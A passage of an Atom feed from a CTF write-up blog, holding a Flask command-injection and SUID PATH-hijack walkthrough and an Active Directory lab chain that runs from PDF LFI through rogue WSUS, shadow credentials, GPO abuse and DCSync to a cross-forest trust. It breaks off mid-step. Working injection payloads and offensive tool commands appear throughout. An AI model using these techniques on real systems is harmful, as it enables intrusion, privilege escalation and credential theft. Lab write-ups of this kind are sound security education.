<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://ellell.gitlab.io/ctfs/feed.xml" rel="self" type="application/atom+xml" /><link href="https://ellell.gitlab.io/ctfs/" rel="alternate" type="text/html" hreflang="en" /><updated>2026-10-01T07:05:23+00:00</updated><id>https://ellell.gitlab.io/ctfs/feed.xml</id><title type="html">CTF Writeups</title><subtitle>Event CTFs and challenge writeups — web, pwn, crypto, forensics, misc.</subtitle><author><name>ellell</name></author><entry><title type="html">gulltown</title><link href="https://ellell.gitlab.io/ctfs/gulltown/" rel="alternate" type="text/html" title="gulltown" /><published>2026-10-01T00:00:00+00:00</published><updated>2026-10-01T00:00:00+00:00</updated><id>https://ellell.gitlab.io/ctfs/gulltown</id><content type="html" xml:base="https://ellell.gitlab.io/ctfs/gulltown/"><![CDATA[<p><em>A cargo manifest form, an unquoted shell variable, and a SUID binary that trusts PATH.</em></p>

<p>Flask web app on one port. A subtle injection in the weight parameter, not the one you’d guess first.
A custom SUID binary that calls a helper by relative path. And a “Failed Attempts” section that
explains exactly why bash drops SUID but Python doesn’t.</p>

<p><em>Spoilers ahead — partial flags, no credentials, no IPs.</em></p>

<!-- more -->

<hr />

<h2 id="the-setup">The setup</h2>

<p>One port open: a Python/Werkzeug application serving a cargo manifest form for a fictional ferry
service. Three fields — cargo description, weight, and a manifest ID. A note on the page from the
“Dockmaster” hints that the weight calculation logic is worth examining.</p>

<p>There’s also a <code class="language-plaintext highlighter-rouge">DECOY_HINT</code> in the app source pointing at “special manifest IDs” and SQL injection.
There’s no database. It’s a deliberate red herring built into the challenge to mislead tools that
pattern-match on keywords instead of reading the actual data flow. More on that at the end.</p>

<hr />

<h2 id="shell-as-ferry--command-injection-in-the-weight-field">Shell as ferry — command injection in the weight field</h2>

<p>The <code class="language-plaintext highlighter-rouge">/calculate</code> route builds a shell command like this:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">cmd</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">/opt/gulltown/weight-calc.sh </span><span class="sh">'</span><span class="si">{</span><span class="n">cargo_desc</span><span class="si">}</span><span class="sh">'</span><span class="s"> </span><span class="si">{</span><span class="n">weight</span><span class="si">}</span><span class="sh">"</span>
<span class="n">subprocess</span><span class="p">.</span><span class="nf">run</span><span class="p">(</span><span class="n">cmd</span><span class="p">,</span> <span class="n">shell</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="p">...)</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">cargo_desc</code> is single-quoted — not perfect, but it resists basic injection.
<code class="language-plaintext highlighter-rouge">weight</code> is completely bare. Dropped straight into the string with <code class="language-plaintext highlighter-rouge">shell=True</code>.</p>

<p>Semicolons, pipes, <code class="language-plaintext highlighter-rouge">$()</code> — all interpreted. The cargo description field wasn’t the bug.
The weight field was.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-sX</span> POST http://&lt;host&gt;:5000/calculate <span class="se">\</span>
  <span class="nt">--data-urlencode</span> <span class="s1">'cargo_desc=test'</span> <span class="se">\</span>
  <span class="nt">--data-urlencode</span> <span class="s1">'weight=100; id'</span> <span class="se">\</span>
  <span class="nt">--data-urlencode</span> <span class="s1">'manifest_id=1'</span>
<span class="c"># → uid=1001(ferry) gid=1001(ferry)</span>
</code></pre></div></div>

<p>Execution as <code class="language-plaintext highlighter-rouge">ferry</code>. User flag:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">--data-urlencode</span> <span class="s1">'weight=100; cat /home/ferry/user.txt'</span>
</code></pre></div></div>

<p>User flag — <code class="language-plaintext highlighter-rouge">r00t{c0mm4nd_1nj3...}</code> ✓</p>

<hr />

<h2 id="priv-ferry--root">Priv: ferry → root</h2>

<h3 id="enumeration">Enumeration</h3>

<p>SUID scan through the injection:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">--data-urlencode</span> <span class="s1">'weight=100; find / -perm -4000 -type f 2&gt;/dev/null'</span>
</code></pre></div></div>

<p>The interesting result: <code class="language-plaintext highlighter-rouge">/usr/local/bin/manifest-stamp</code> — custom, root-owned, SUID set.
<code class="language-plaintext highlighter-rouge">strings</code> on it shows one key line: <code class="language-plaintext highlighter-rouge">execvp("stamp-helper", ...)</code>. No leading slash.</p>

<p>The binary calls its helper by <strong>relative path</strong>, which means it resolves using <code class="language-plaintext highlighter-rouge">PATH</code>.</p>

<h3 id="finding-the-writable-directory">Finding the writable directory</h3>

<p>The legitimate <code class="language-plaintext highlighter-rouge">stamp-helper</code> lives at <code class="language-plaintext highlighter-rouge">/opt/gulltown/bin/stamp-helper</code>.
Directory permissions:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>drwxrwxr-x  root  ferry  /opt/gulltown/bin/
</code></pre></div></div>

<p>Group-writable by <code class="language-plaintext highlighter-rouge">ferry</code>. I can replace the binary there, control PATH, and
<code class="language-plaintext highlighter-rouge">manifest-stamp</code> will execute my version as root.</p>

<h3 id="why-a-shell-script-doesnt-work-here">Why a shell script doesn’t work here</h3>

<p>First instinct: write a shell script that reads <code class="language-plaintext highlighter-rouge">/root/root.txt</code>.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/sh</span>
<span class="nb">cat</span> /root/root.txt
</code></pre></div></div>

<p>This fails. Both <code class="language-plaintext highlighter-rouge">/bin/sh</code> and <code class="language-plaintext highlighter-rouge">/bin/bash</code> have a security feature where they detect
if effective UID differs from real UID on startup and immediately call <code class="language-plaintext highlighter-rouge">setuid(getuid())</code>
to drop back. So <code class="language-plaintext highlighter-rouge">manifest-stamp</code> runs as root and passes <code class="language-plaintext highlighter-rouge">euid=0</code> to the child —
but bash resets it to <code class="language-plaintext highlighter-rouge">ferry</code> before the script even runs.</p>

<h3 id="python-doesnt-drop-suid">Python doesn’t drop SUID</h3>

<p>Python’s interpreter has no such guard. When a SUID binary <code class="language-plaintext highlighter-rouge">execvp</code>s a Python script,
the interpreter inherits <code class="language-plaintext highlighter-rouge">euid=0</code>. Calling <code class="language-plaintext highlighter-rouge">os.setuid(0)</code> then permanently locks in
root for the rest of the process.</p>

<p>I backed up the original, wrote the replacement, made it executable, and ran
<code class="language-plaintext highlighter-rouge">manifest-stamp</code> with the writable directory first in PATH:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Back up</span>
<span class="nt">--data-urlencode</span> <span class="s1">'weight=100; cp /opt/gulltown/bin/stamp-helper /opt/gulltown/bin/stamp-helper.bak'</span>

<span class="c"># Write Python payload</span>
<span class="nt">--data-urlencode</span> <span class="s1">'weight=100; printf "#!/usr/bin/env python3\nimport os\nos.setuid(0)\nprint(open(\"/root/root.txt\").read())" &gt; /opt/gulltown/bin/stamp-helper'</span>

<span class="c"># Make executable</span>
<span class="nt">--data-urlencode</span> <span class="s1">'weight=100; chmod +x /opt/gulltown/bin/stamp-helper'</span>

<span class="c"># Trigger with our directory first in PATH</span>
<span class="nt">--data-urlencode</span> <span class="s1">'weight=100; PATH=/opt/gulltown/bin:$PATH manifest-stamp test-id'</span>
</code></pre></div></div>

<p>Root flag — <code class="language-plaintext highlighter-rouge">r00t{p4th_h1j4ck...}</code> ✓</p>

<p>The chain: <code class="language-plaintext highlighter-rouge">manifest-stamp</code> (SUID root) → <code class="language-plaintext highlighter-rouge">execvp("stamp-helper")</code> → walks PATH →
finds my Python script → inherits <code class="language-plaintext highlighter-rouge">euid=0</code> → <code class="language-plaintext highlighter-rouge">os.setuid(0)</code> → reads <code class="language-plaintext highlighter-rouge">/root/root.txt</code>.</p>

<hr />

<h2 id="beyond-root-the-ai-decoy">Beyond root: the AI decoy</h2>

<p>The <code class="language-plaintext highlighter-rouge">DECOY_HINT</code> variable in the source pointed at SQL injection via manifest IDs.
There was no database. The entire application ran on shell scripts and flat files.</p>

<p>The decoy was placed there deliberately to mislead tools that pattern-match on terms
like “SQL” or “special ID” without tracing actual data flow. The real hint was the
Dockmaster’s note pointing at the weight field — and reading the three lines of code
that built the shell command confirmed it immediately.</p>

<p>The lesson holds for any web app: follow the data, not the comments.</p>

<hr />

<h2 id="why-bash-drops-suid-but-python-doesnt">Why bash drops SUID but Python doesn’t</h2>

<p>Worth keeping in mind for any future SUID path hijack:</p>

<table>
  <thead>
    <tr>
      <th>Interpreter</th>
      <th>Drops SUID on startup?</th>
      <th>Why</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/bin/bash</code></td>
      <td>Yes</td>
      <td>Calls <code class="language-plaintext highlighter-rouge">setuid(getuid())</code> if <code class="language-plaintext highlighter-rouge">euid != ruid</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">/bin/sh</code> (dash)</td>
      <td>Yes</td>
      <td>Same guard</td>
    </tr>
    <tr>
      <td>Python</td>
      <td>No</td>
      <td>No automatic privilege drop</td>
    </tr>
    <tr>
      <td>Perl</td>
      <td>No</td>
      <td>Same — <code class="language-plaintext highlighter-rouge">-T</code> taint mode doesn’t drop either</td>
    </tr>
    <tr>
      <td>Compiled C</td>
      <td>Depends</td>
      <td>Only drops if you write it to</td>
    </tr>
  </tbody>
</table>

<p>If you control a file that a SUID binary calls via relative <code class="language-plaintext highlighter-rouge">execvp</code>, reach for Python
or a compiled C stub rather than a shell script.</p>

<hr />

<h2 id="takeaways">Takeaways</h2>

<ul>
  <li><code class="language-plaintext highlighter-rouge">subprocess.run(cmd, shell=True)</code> with unsanitised input is command injection, regardless
of what other parameters in the same call look like. Test every field independently.</li>
  <li>A SUID binary that calls a helper by relative path is vulnerable to PATH hijack whenever
any directory in the search path is writable by the current user. Check permissions on
each directory, not just the binary itself.</li>
  <li>Bash and sh intentionally drop SUID privileges. Python, Perl, and compiled binaries do
not. When a shell script payload fails silently in a SUID context, check whether the
interpreter is dropping the elevation before your code runs.</li>
  <li>CTF challenges sometimes embed deliberate red herrings in source comments and variable
names. Trace the actual data flow before chasing keywords.</li>
</ul>]]></content><author><name>ellell</name></author><category term="command-injection" /><category term="suid" /><category term="path-hijack" /><category term="python" /><category term="flask" /><summary type="html"><![CDATA[A cargo manifest form, an unquoted shell variable, and a SUID binary that trusts PATH. Flask web app on one port. A subtle injection in the weight parameter, not the one you’d guess first. A custom SUID binary that calls a helper by relative path. And a “Failed Attempts” section that explains exactly why bash drops SUID but Python doesn’t. Spoilers ahead — partial flags, no credentials, no IPs.]]></summary></entry><entry><title type="html">ad-lanfeust</title><link href="https://ellell.gitlab.io/ctfs/ad-lanfeust/" rel="alternate" type="text/html" title="ad-lanfeust" /><published>2026-09-18T00:00:00+00:00</published><updated>2026-09-18T00:00:00+00:00</updated><id>https://ellell.gitlab.io/ctfs/ad-lanfeust</id><content type="html" xml:base="https://ellell.gitlab.io/ctfs/ad-lanfeust/"><![CDATA[<p><em>From a PDF form to two forests.</em></p>

<p>A customs declaration form. That’s where this started. By the end I was root on a Linux box
in a second Active Directory forest I’d never directly touched. In between: a certificate buried
in a config file, a DNS record nobody remembered to delete, a Windows update server I impersonated,
a signed maintenance script, a dormant GPO linked to the wrong site, a decoded trust secret, and
a Kerberos ticket that let me SSH as root.</p>

<p>Every step handed me the next one. That’s what good AD labs do.</p>

<p><em>Spoilers ahead — commands, credentials and partial flags included so you can follow the chain.</em></p>

<!-- more -->

<hr />

<h2 id="the-setup">The setup</h2>

<p>Two separate Active Directory forests, each with its own domain controller and certificate authority.
A forest is AD’s highest security boundary — accounts from one forest normally can’t touch the other.
Except when there’s a trust. And there was.</p>

<p>The first forest (<strong>TROY.LAB</strong>) had a web application, a file server, a Windows update client, and
a domain controller doubling as a CA. The second (<strong>DARSHAN.LAB</strong>) had its own DC/CA and a Linux
server joined to the domain. My job was to chain through both.</p>

<p>The environment was deliberately hardened: NTLM disabled, RC4 Kerberos encryption disabled,
SMB signing required, WDAC on one host, and a certificate template that demanded manual approval.
None of these stopped the chain — they just forced a more interesting route.</p>

<hr />

<h2 id="the-twelve-flags">The twelve flags</h2>

<table>
  <thead>
    <tr>
      <th>#</th>
      <th>Title</th>
      <th>Method</th>
      <th>Flag</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>01</td>
      <td>The Indiscreet Scribe</td>
      <td>PDF iframe LFI</td>
      <td><code class="language-plaintext highlighter-rouge">adctf{d84ccc...}</code></td>
    </tr>
    <tr>
      <td>02</td>
      <td>Cixi’s Confidences</td>
      <td>LDAP attribute via PKINIT</td>
      <td><code class="language-plaintext highlighter-rouge">adctf{9d32c3...}</code></td>
    </tr>
    <tr>
      <td>03</td>
      <td>The Steward’s Storeroom</td>
      <td>Authenticated SMB share</td>
      <td><code class="language-plaintext highlighter-rouge">adctf{c8aa97...}</code></td>
    </tr>
    <tr>
      <td>04</td>
      <td>The False Oracle of Kandhar</td>
      <td>Rogue WSUS server</td>
      <td><code class="language-plaintext highlighter-rouge">adctf{df3d30...}</code></td>
    </tr>
    <tr>
      <td>05</td>
      <td>The Sealed Missive</td>
      <td>DPAPI machine-key decrypt</td>
      <td><code class="language-plaintext highlighter-rouge">adctf{e5db5f...}</code></td>
    </tr>
    <tr>
      <td>06</td>
      <td>The Secret of Hebus</td>
      <td>gMSA via Task Scheduler</td>
      <td><code class="language-plaintext highlighter-rouge">adctf{e951c6...}</code></td>
    </tr>
    <tr>
      <td>07</td>
      <td>The Paladin of Eckmul</td>
      <td>WDAC bypass via enterprise signing</td>
      <td><code class="language-plaintext highlighter-rouge">adctf{171323...}</code></td>
    </tr>
    <tr>
      <td>08</td>
      <td>The Sage Ascendant</td>
      <td>GPO write → GPLink to site → shadow credential PAC refresh</td>
      <td><code class="language-plaintext highlighter-rouge">adctf{8fd286...}</code></td>
    </tr>
    <tr>
      <td>09</td>
      <td>The Traitor’s Passage</td>
      <td>Forest trust secret → DARSHAN</td>
      <td><code class="language-plaintext highlighter-rouge">adctf{8b48b0...}</code></td>
    </tr>
    <tr>
      <td>10</td>
      <td>Castel Or-Azur</td>
      <td>Computer account → Linux root via GSSAPI</td>
      <td><code class="language-plaintext highlighter-rouge">adctf{69a026...}</code></td>
    </tr>
    <tr>
      <td>11</td>
      <td>The Castellan’s Signet</td>
      <td>Machine keytab → SMB share</td>
      <td><code class="language-plaintext highlighter-rouge">adctf{ff0c3c...}</code></td>
    </tr>
    <tr>
      <td>12</td>
      <td>The Ivory of the Magohamoth</td>
      <td>Self-approved ADCS certificate</td>
      <td><code class="language-plaintext highlighter-rouge">adctf{09c599...}</code></td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="0--survey-two-forests-one-kerberos-problem">0 — Survey: two forests, one Kerberos problem</h2>

<p>Before anything else I mapped the network and synced the clock.
Kerberos is unforgiving with time skew — a drift of more than a few minutes turns a
valid password into an authentication error that looks like the wrong credentials.
Measured offset: <strong>2.4 ms</strong>. Fine.</p>

<p>Five hosts came up. Three in TROY, two in DARSHAN.
I held all Kerberos tickets in named ccache files and pointed every tool at them with
<code class="language-plaintext highlighter-rouge">KRB5CCNAME</code>. When a cache picked up a bad ticket I didn’t try to fix it — I just
minted a fresh TGT. A clean ticket file is worth more than ten minutes of troubleshooting
a corrupted one.</p>

<hr />

<h2 id="1--the-pdf-form-that-could-read-local-files-flag-01">1 — The PDF form that could read local files (Flag 01)</h2>

<p>The first interesting service was a customs-declaration web app. You filled in a form,
it spat back a PDF. The <code class="language-plaintext highlighter-rouge">goods</code> field was the interesting one: the server dropped it
straight into an HTML template and fed that to a headless browser to render the PDF.</p>

<p>The browser could open <code class="language-plaintext highlighter-rouge">file:///</code> URLs. That’s the bug — and the lab handed it to you
in the field name. I put an iframe pointing at a local file path into the form value.
The server printed its own file into my PDF.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-sX</span> POST https://&lt;host&gt;/pdf <span class="se">\</span>
  <span class="nt">--data-urlencode</span> <span class="s1">'goods=&lt;iframe src="file:///C:/inetpub/portal/App_Data/flag01.txt" ...&gt;'</span>
</code></pre></div></div>

<p>Flag 01 — <code class="language-plaintext highlighter-rouge">adctf{d84ccc...}</code> ✓</p>

<p>The same primitive read directory listings, the PDF renderer source, and — crucially —
<code class="language-plaintext highlighter-rouge">web.config</code>. That file is where the next flag came from.</p>

<hr />

<h2 id="2--a-certificate-left-in-a-config-file-flag-02">2 — A certificate left in a config file (Flag 02)</h2>

<p><code class="language-plaintext highlighter-rouge">web.config</code> contained a base64-encoded PKCS#12 bundle and the password to open it.
A PFX file holds a certificate together with its private key. This one belonged to
<code class="language-plaintext highlighter-rouge">cixi@troy.lab</code> and was valid for PKINIT — Kerberos login using a certificate instead
of a password.</p>

<p>I extracted the blob, decoded it, and used Certipy to authenticate:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy-ad auth <span class="nt">-pfx</span> cixi.pfx <span class="nt">-password</span> <span class="s1">'&lt;redacted&gt;'</span> <span class="se">\</span>
  <span class="nt">-username</span> cixi <span class="nt">-domain</span> troy.lab <span class="nt">-dc-ip</span> &lt;dc&gt;
<span class="nb">export </span><span class="nv">KRB5CCNAME</span><span class="o">=</span><span class="s2">"</span><span class="nv">$PWD</span><span class="s2">/cixi.ccache"</span>
</code></pre></div></div>

<p>PKINIT also recovered cixi’s NT hash — but NTLM was disabled. The Kerberos ticket was
the only thing that mattered. I ran a Kerberos-authenticated LDAP query and found Flag 02
sitting in cixi’s <code class="language-plaintext highlighter-rouge">description</code> attribute.</p>

<p>Flag 02 — <code class="language-plaintext highlighter-rouge">adctf{9d32c3...}</code> ✓</p>

<hr />

<h2 id="3--a-forgotten-dispatch-note-on-a-file-share-flag-03">3 — A forgotten dispatch note on a file share (Flag 03)</h2>

<p>With a valid Kerberos ticket I browsed the shares cixi could reach.
<code class="language-plaintext highlighter-rouge">\\GLININ\IT$</code> was open and held more than Flag 03: an encrypted backup, a PowerShell
maintenance script, access logs, and a dispatch note.</p>

<p>The note said the old WSUS update server (<code class="language-plaintext highlighter-rouge">wsus.troy.lab</code>) had been decommissioned —
but nobody told KANDHAR. That machine was still polling the hostname every two minutes
hoping to get updates.</p>

<p>Flag 03 — <code class="language-plaintext highlighter-rouge">adctf{c8aa97...}</code> ✓</p>

<p>The dead hostname is the pivot. If I could resurrect it and present a certificate
KANDHAR trusted, the server would come to me.</p>

<hr />

<h2 id="4--impersonating-a-missing-update-server-flag-04">4 — Impersonating a missing update server (Flag 04)</h2>

<p>This step had three moving parts, and all three had to work at once.</p>

<p><strong>Step one — resurrect the DNS record.</strong> Cixi’s Kerberos ticket had rights to add a
DNS entry. I pointed <code class="language-plaintext highlighter-rouge">wsus.troy.lab</code> at my VPN address with a signed <code class="language-plaintext highlighter-rouge">nsupdate</code>.</p>

<p><strong>Step two — get a server certificate for that hostname.</strong> A misconfigured template on
the TROY CA accepted requester-supplied hostnames. I enrolled a certificate for
<code class="language-plaintext highlighter-rouge">wsus.troy.lab</code>. Now I could serve TLS traffic the client would trust.</p>

<p><strong>Step three — run a rogue WSUS service.</strong> The tricky part: KANDHAR fetched update
metadata over TLS but pulled the executable over plain HTTP on the <em>same port</em>.
The listener had to handle both. The update payload had to be a genuine
Microsoft-signed binary — KANDHAR verified the Authenticode signature.</p>

<p>I used a legitimate Sysinternals binary with attacker-controlled arguments.
The binary ran as SYSTEM and added cixi to the local Administrators group.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>psexec.py troy.lab/cixi@kandhar.troy.lab <span class="nt">-k</span> <span class="nt">-no-pass</span> <span class="nt">-dc-ip</span> &lt;dc&gt;
<span class="c"># get C:\flags\flag04.txt</span>
</code></pre></div></div>

<p>Flag 04 — <code class="language-plaintext highlighter-rouge">adctf{df3d30...}</code> ✓</p>

<hr />

<h2 id="5--decrypting-a-file-that-only-kandhar-could-open-flag-05">5 — Decrypting a file that only KANDHAR could open (Flag 05)</h2>

<p>The encrypted backup from the IT share (<code class="language-plaintext highlighter-rouge">sites.ldf.enc</code>) was protected with
Windows DPAPI scoped to the <em>local machine</em>. Stealing the file alone wasn’t enough —
I needed the machine’s secrets too.</p>

<p>With SYSTEM access I saved the SECURITY, SYSTEM, and SAM registry hives
using <code class="language-plaintext highlighter-rouge">reg save</code>, then used Impacket to recover KANDHAR’s DPAPI system key.
That key unwrapped the master key, which decrypted the LDIF file offline.</p>

<p>The LDIF described an AD Sites entry; its <code class="language-plaintext highlighter-rouge">description</code> attribute held Flag 05.</p>

<p>Flag 05 — <code class="language-plaintext highlighter-rouge">adctf{e5db5f...}</code> ✓</p>

<hr />

<h2 id="6--borrowing-a-service-account-without-knowing-its-password-flag-06">6 — Borrowing a service account without knowing its password (Flag 06)</h2>

<p>The hive dump also yielded KANDHAR’s domain machine password (<code class="language-plaintext highlighter-rouge">KANDHAR$</code>).
AD permissions showed that <code class="language-plaintext highlighter-rouge">KANDHAR$</code> was the only account that could retrieve
the managed password material for <code class="language-plaintext highlighter-rouge">gmsa-hebus$</code> — a Group Managed Service Account.</p>

<p>The domain had RC4 disabled, so the old “pass the NT hash” route was closed.
The right answer was the mechanism Windows designed for this: Task Scheduler can
start a process <em>as</em> a gMSA using a <code class="language-plaintext highlighter-rouge">ServiceAccount</code> logon type without the operator
ever knowing the plaintext password.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$p</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-ScheduledTaskPrincipal</span><span class="w"> </span><span class="nt">-UserId</span><span class="w"> </span><span class="s1">'TROY\gmsa-hebus$'</span><span class="w"> </span><span class="se">`
</span><span class="w">     </span><span class="nt">-LogonType</span><span class="w"> </span><span class="nx">ServiceAccount</span><span class="w"> </span><span class="nt">-RunLevel</span><span class="w"> </span><span class="nx">Highest</span><span class="w">
</span><span class="n">Register-ScheduledTask</span><span class="w"> </span><span class="nt">-TaskName</span><span class="w"> </span><span class="nx">DTB6</span><span class="w"> </span><span class="nt">-Action</span><span class="w"> </span><span class="nv">$a</span><span class="w"> </span><span class="nt">-Principal</span><span class="w"> </span><span class="nv">$p</span><span class="w"> </span><span class="nt">-Force</span><span class="w">
</span><span class="n">Start-ScheduledTask</span><span class="w"> </span><span class="nx">DTB6</span><span class="w">
</span></code></pre></div></div>

<p>Running in that identity made <code class="language-plaintext highlighter-rouge">C:\shares\hebus\flag06.txt</code> readable.</p>

<p>Flag 06 — <code class="language-plaintext highlighter-rouge">adctf{e951c6...}</code> ✓</p>

<hr />

<h2 id="7--signing-a-script-to-bypass-application-control-flag-07">7 — Signing a script to bypass application control (Flag 07)</h2>

<p>GLININ enforced WDAC — only Microsoft-signed or enterprise-signed code would run.
That ruled out dropping an unsigned tool. The interesting question was: what does the
enterprise trust?</p>

<p>The WDAC policy trusted code signed by TROY-CA. And <code class="language-plaintext highlighter-rouge">gmsa-hebus$</code> could request a
certificate from the <code class="language-plaintext highlighter-rouge">TroyCodeSigning</code> template. I enrolled the certificate in the gMSA’s
task context, then used it to sign a PowerShell maintenance script.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$cert</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Get-PfxCertificate</span><span class="w"> </span><span class="nx">C:\Windows\Temp\hebus-codesign.pfx</span><span class="w">
</span><span class="n">Set-AuthenticodeSignature</span><span class="w"> </span><span class="nt">-FilePath</span><span class="w"> </span><span class="nx">maintenance.ps1</span><span class="w"> </span><span class="nt">-Certificate</span><span class="w"> </span><span class="nv">$cert</span><span class="w">
</span><span class="n">Copy-Item</span><span class="w"> </span><span class="nx">maintenance.ps1</span><span class="w"> </span><span class="s1">'\\GLININ\IT$\scripts\maintenance.ps1'</span><span class="w">
</span></code></pre></div></div>

<p>From GLININ’s point of view: legitimate enterprise signature, trusted policy, runs as
<code class="language-plaintext highlighter-rouge">TROY\lanfeust</code>. A scheduled task picked up the script two minutes later.</p>

<p>Flag 07 — <code class="language-plaintext highlighter-rouge">adctf{171323...}</code> ✓</p>

<hr />

<h2 id="8--a-dormant-gpo-a-shadow-credential-and-owning-troy-flag-08">8 — A dormant GPO, a shadow credential, and owning TROY (Flag 08)</h2>

<p>Lanfeust’s write permissions on Nicolede were only half the story. BloodHound also showed
that <strong>Nicolede</strong> held <code class="language-plaintext highlighter-rouge">GenericWrite</code> on the <strong>Council-of-Sages Policy</strong> GPO — a policy
that, if applied, would add Nicolede to Domain Admins. But the GPO had never been linked
anywhere. No site, no OU, no domain object had ever pointed at it. It sat in SYSVOL with
a <code class="language-plaintext highlighter-rouge">ScheduledTasks.xml</code> fully written and completely inert.</p>

<p>The chain therefore had three beats, each depending on the one before.</p>

<p><strong>Beat one — get a Nicolede ticket.</strong> Rather than reset the password and break something,
I wrote a <strong>shadow credential</strong> from Lanfeust’s context: a public key added to Nicolede’s
account that AD accepts for certificate-based login. The original password is never touched.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy-ad shadow auto <span class="nt">-u</span> <span class="s1">'lanfeust@troy.lab'</span> <span class="nt">-k</span> <span class="nt">-no-pass</span> <span class="se">\</span>
  <span class="nt">-account</span> nicolede <span class="nt">-dc-ip</span> &lt;dc&gt; <span class="nt">-target</span> &lt;eckmul&gt;
certipy-ad auth <span class="nt">-pfx</span> nicolede_shadow.pfx <span class="nt">-username</span> nicolede <span class="se">\</span>
  <span class="nt">-domain</span> troy.lab <span class="nt">-dc-ip</span> &lt;dc&gt;
<span class="nb">export </span><span class="nv">KRB5CCNAME</span><span class="o">=</span><span class="nv">$PWD</span>/nicolede.ccache
</code></pre></div></div>

<p><strong>Beat two — activate the dormant GPO.</strong> With Nicolede’s ticket in hand, I used the
<code class="language-plaintext highlighter-rouge">GenericWrite</code> ACE to write a <code class="language-plaintext highlighter-rouge">gPLink</code> on the AD site containing ECKMUL. That single
attribute write told every computer in the site to apply the policy.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bloodyAD <span class="se">\</span>
  <span class="nt">-d</span> troy.lab <span class="nt">-u</span> nicolede <span class="nt">-k</span> <span class="nv">ccache</span><span class="o">=</span><span class="s2">"</span><span class="nv">$KRB5CCNAME</span><span class="s2">"</span> <span class="se">\</span>
  <span class="nt">-H</span> eckmul.troy.lab <span class="nt">-i</span> &lt;dc&gt; <span class="se">\</span>
  <span class="nb">set </span>object <span class="se">\</span>
  <span class="s1">'CN=Council-of-Sages,CN=Sites,CN=Configuration,DC=troy,DC=lab'</span> <span class="se">\</span>
  gPLink <span class="se">\</span>
  <span class="nt">-v</span> <span class="s1">'[LDAP://CN={6FE1B759-EEFA-45B7-BE7E-A93F0B5A5C38},CN=Policies,CN=System,DC=troy,DC=lab;0]'</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">gPLink has been updated</code>. About three minutes later ECKMUL refreshed its site policy
and Nicolede appeared in Domain Admins.</p>

<p><strong>Beat three — get a ticket that knows it.</strong> Group membership is baked into a Kerberos
ticket’s PAC at issuance time. The Nicolede TGT was minted before the GPO ran, so it
still showed the old membership. I deleted the stale cache and authenticated again with
the shadow certificate to get a fresh PAC:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">rm</span> <span class="nt">-f</span> nicolede.ccache
certipy-ad auth <span class="nt">-pfx</span> nicolede_shadow.pfx <span class="nt">-username</span> nicolede <span class="se">\</span>
  <span class="nt">-domain</span> troy.lab <span class="nt">-dc-ip</span> &lt;dc&gt;
</code></pre></div></div>

<p>With a PAC that reflected Domain Admin membership, DCSync was one command away.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>secretsdump.py <span class="nt">-k</span> <span class="nt">-no-pass</span> <span class="nt">-dc-ip</span> &lt;dc&gt; <span class="s1">'troy.lab/nicolede@eckmul.troy.lab'</span> <span class="nt">-just-dc</span>
</code></pre></div></div>

<p>Flag 08 — <code class="language-plaintext highlighter-rouge">adctf{8fd286...}</code> ✓</p>

<hr />

<h2 id="9--decoding-the-secret-that-connects-two-forests-flag-09">9 — Decoding the secret that connects two forests (Flag 09)</h2>

<p>DCSync gave me everything ECKMUL stored, including the <strong>outgoing forest trust secret</strong>
for the TROY → DARSHAN trust. Forest trusts authenticate with a shared secret, similar
to how a machine password works for a domain join.</p>

<p>The raw value was UTF-16LE. Standard Impacket output focuses on derived keys, so I
used a small script to preserve and decode the raw bytes:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Decoded trust password: &lt;redacted&gt;
</code></pre></div></div>

<p>DARSHAN also had RC4 disabled, making the plaintext more useful than the NT hash.
I used it to obtain a TGT in DARSHAN’s domain and browse the <code class="language-plaintext highlighter-rouge">INTEL$</code> share —
which TROY$ could read via the trust relationship.</p>

<p>Flag 09 — <code class="language-plaintext highlighter-rouge">adctf{8b48b0...}</code> ✓</p>

<p>The share also held a note: ORAZUR was a Linux server not yet in production,
still waiting for an administrator to set it up.</p>

<hr />

<h2 id="10--a-computer-account-called-root-flag-10">10 — A computer account called <code class="language-plaintext highlighter-rouge">root$</code> (Flag 10)</h2>

<p>DARSHAN allowed any authenticated user to create a computer account. I created one and
then renamed it to <code class="language-plaintext highlighter-rouge">root$</code>.</p>

<p>That name is the trick. ORAZUR mapped Kerberos principals to local Unix accounts.
